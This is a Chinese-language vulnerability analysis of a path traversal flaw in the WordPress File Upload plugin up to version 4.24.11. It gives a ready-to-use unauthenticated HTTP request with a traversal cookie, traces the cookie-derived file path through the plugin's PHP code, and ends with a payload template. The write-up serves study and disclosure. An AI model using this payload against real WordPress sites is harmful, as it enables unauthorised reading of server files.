一、漏洞描述
WordPress的File Upload
插件存在路径遍历漏洞,该漏洞影响所有版本至包括(含)4.24.11版本,漏洞位于wfu_file_downloader.php
文件中。这使得未经身份验证的攻击者能够读取或删除原始意图目录之外的文件。成功利用此漏洞要求目标WordPress安装使用PHP 7.4或更早版本。
二、影响版本
WordPress File Upload <= 4.24.11
三、漏洞复现
请求包
GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=smsc&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=1&wfu_cookie=1&ticket=smsc HTTP/1.1
Host: 【网站】
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: wfu_storage_smsc=../../../../../../flag; wfu_download_ticket_smsc=【时间戳】;
四、代码分析
以下代码是是4.24.11版本WordPress File Upload
既然是路径遍历漏洞,先定位一下fopen
关键函数
它在function wfu_fopen_for_downloader($filepath, $mode)
里的第2行出现
function wfu_fopen_for_downloader($filepath, $mode) {
if ( substr($filepath, 0, 7) != "sftp://" ) return @fopen($filepath, $mode);
$ret = false;
$ftpinfo = wfu_decode_ftpurl($filepath);
if ( $ftpinfo["error"] ) return $ret;
$data = $ftpinfo["data"];
{
$conn = @ssh2_connect($data["ftpdomain"], $data["port"]);
if ( $conn && @ssh2_auth_password($conn, $data["username"], $data["password"]) ) {
$sftp = @ssh2_sftp($conn);
if ( $sftp ) {
//$ret = @fopen("ssh2.sftp://".intval($sftp).$data["filepath"], $mode);
$contents = @file_get_contents("ssh2.sftp://".intval($sftp).$data["filepath"]);
$stream = fopen('php://memory', 'r+');
fwrite($stream, $contents);
rewind($stream);
$ret = $stream;
}
}
}
return $ret;
}
接下来看wfu_fopen_for_downloader
在哪里被调用了,以及$filepath
参数是哪里获取的
他们都在wfu_download_file
函数里
//if file_code starts with exportdata, then this is a request for export of
//uploaded file data, so disposition_name wont be the filename of the file
//but wfu_export.csv; also set flag to delete file after download operation
if ( substr($file_code, 0, 10) == "exportdata" ) {
$file_code = substr($file_code, 10);
//$filepath = wfu_get_filepath_from_safe($file_code);
$filepath = WFU_USVAR_downloader('wfu_storage_'.$file_code);
$disposition_name = "wfu_export.csv";
$delete_file = true;
}
//if file_code starts with debuglog, then this is a request for download of
//debug_log.txt
elseif ( substr($file_code, 0, 8) == "debuglog" ) {
$file_code = substr($file_code, 8);
//$filepath = wfu_get_filepath_from_safe($file_code);
$filepath = WFU_USVAR_downloader('wfu_storage_'.$file_code);
$disposition_name = wfu_basename($filepath);
$delete_file = false;
}
else {
//$filepath = wfu_get_filepath_from_safe($file_code);
$filepath = WFU_USVAR_downloader('wfu_storage_'.$file_code);
if ( $filepath === false ) {
WFU_USVAR_unset_downloader('wfu_storage_'.$file_code);
wfu_update_download_status($ticket, 'failed');
die();
}
$filepath = wfu_flatten_path($filepath);
if ( substr($filepath, 0, 1) == "/" ) $filepath = substr($filepath, 1);
$filepath = ( substr($filepath, 0, 6) == 'ftp://' || substr($filepath, 0, 7) == 'ftps://' || substr($filepath, 0, 7) == 'sftp://' ? $filepath : WFU_USVAR_downloader('wfu_ABSPATH').$filepath );
$disposition_name = wfu_basename($filepath);
$delete_file = false;
}
...
...
...
$open_session = false;
@set_time_limit(0); // disable the time limit for this script
$fsize = wfu_filesize_for_downloader($filepath);
if ( $fd = wfu_fopen_for_downloader($filepath, "rb") ) {
$open_session = ( ( $wfu_user_state_handler == "session" || $wfu_user_state_handler == "" ) && ( function_exists("session_status") ? ( PHP_SESSION_ACTIVE !== session_status() ) : ( empty(session_id()) ) ) );
可以发现$filepath
都是来自 WFU_USVAR_downloader('wfu_storage_'.$file_code);
继续看WFU_USVAR_downloader
function WFU_USVAR_downloader($var) {
global $wfu_user_state_handler;
if ( $wfu_user_state_handler == "dboption" && WFU_VAR("WFU_US_DBOPTION_BASE") == "cookies" ) return $_COOKIE[$var];
else return WFU_USVAR_session($var);
}
意思是全局变量$wfu_user_state_handler
为 "dboption"
且 WFU_VAR("WFU_US_DBOPTION_BASE")
为 "cookies"
时,返回cookie中的键为'wfu_storage_'.$file_code
的值
这里可以确认漏洞点是在cookie处输入wfu_storage_xxx=
文件读取路径。(xxx
是 $filecode
)
接下来看$filecode
哪里来,还是在wfu_download_file
函数里,可以直接用file
传参。
$file_code = (isset($_POST['file']) ? $_POST['file'] : (isset($_GET['file']) ? $_GET['file'] : ''));
接着考虑一下需要绕过的地方,有以下几点会导致触发die()
$handler == '-1'
$session_legacy == ''
$dboption_base == '-1'
$dboption_useold == ''
$wfu_cookie == ''
$file_code == ''
$ticket == ''
WFU_USVAR_exists_downloader('wfu_download_ticket_'.$ticket)
time() > WFU_USVAR_downloader('wfu_download_ticket_'.$ticket)
构造payload
接下来可以开始构造payload了
get/post请求参数(两者应该都行)
file=【参数1】
handler=dboption
session_legacy=1
dboption_base=cookies
dboption_useold=1
wfu_cookie=1
ticket=【参数1】
cookie
wfu_storage_【参数1】=【文件名】
wfu_download_ticket_【参数1】=【当前时间戳】